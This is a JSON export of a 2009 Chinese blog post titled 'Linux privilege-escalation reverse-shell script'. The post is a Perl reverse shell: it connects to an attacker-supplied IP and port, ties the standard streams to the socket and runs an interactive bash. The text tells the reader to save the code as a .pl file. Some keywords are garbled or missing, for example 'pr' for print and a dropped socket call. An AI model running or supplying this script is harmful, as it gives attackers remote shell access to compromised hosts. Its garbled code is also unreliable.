{"id":314,"date":"2009-09-29T12:33:39","date_gmt":"2009-09-29T12:33:39","guid":{"rendered":""},"modified":"2011-11-18T17:05:45","modified_gmt":"2011-11-18T09:05:45","slug":"314","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/314.html","title":{"rendered":"linux\u4e0b\u63d0\u6743\u53cd\u5f39\u811a\u672c"},"content":{"rendered":"

linux<\/span>\u4e0b\u63d0\u6743\u53cd\u5f39\u811a\u672c\uff01\u4ee3\u7801\u5982\u4e0b
\n#!\/usr\/bin\/perl -w
\n#<\/p>\n

use strict;
\nuse Socket;
\nuse I:Handle;<\/p>\n

($#ARGV+1 != 2){
\npr “$#ARGV $0 Remote_IP Remote_Port
\n“;
\nexit 1;
\n}<\/p>\n

my $remote_ip = $ARGV[0];
\nmy $remote_port = $ARGV[1];<\/p>\n

my $proto = getprotobyname(“tcp”);
\nmy $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));<\/p>\n

my $shell = \u2019\/bin\/bash -i\u2019;<\/p>\n

(SOCK, AF_INET, SOCK_STREAM, $proto);<\/p>\n

STDOUT->autoflush(1);
\nSOCK->autoflush(1);<\/p>\n

connect(SOCK,$pack_addr) or die “can not connect:$!”;<\/p>\n

open STDIN, “<&SOCK”;
\nopen STDOUT, “>&SOCK”;
\nopen STDERR, “>&SOCK”;<\/p>\n

pr “Enjoy the shell.
\n“;<\/p>\n

system($shell);
\nclose SOCK;<\/p>\n

exit 0;
\n\u628a\u4ee5\u4e0a\u4ee3\u7801\u4fdd\u5b58\u4e3a*.pl<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"

linux\u4e0b\u63d0\u6743\u53cd\u5f39\u811a\u672c\uff01\u4ee3\u7801\u5982\u4e0b #!\/usr\/bin\/perl -w # u …<\/p>\n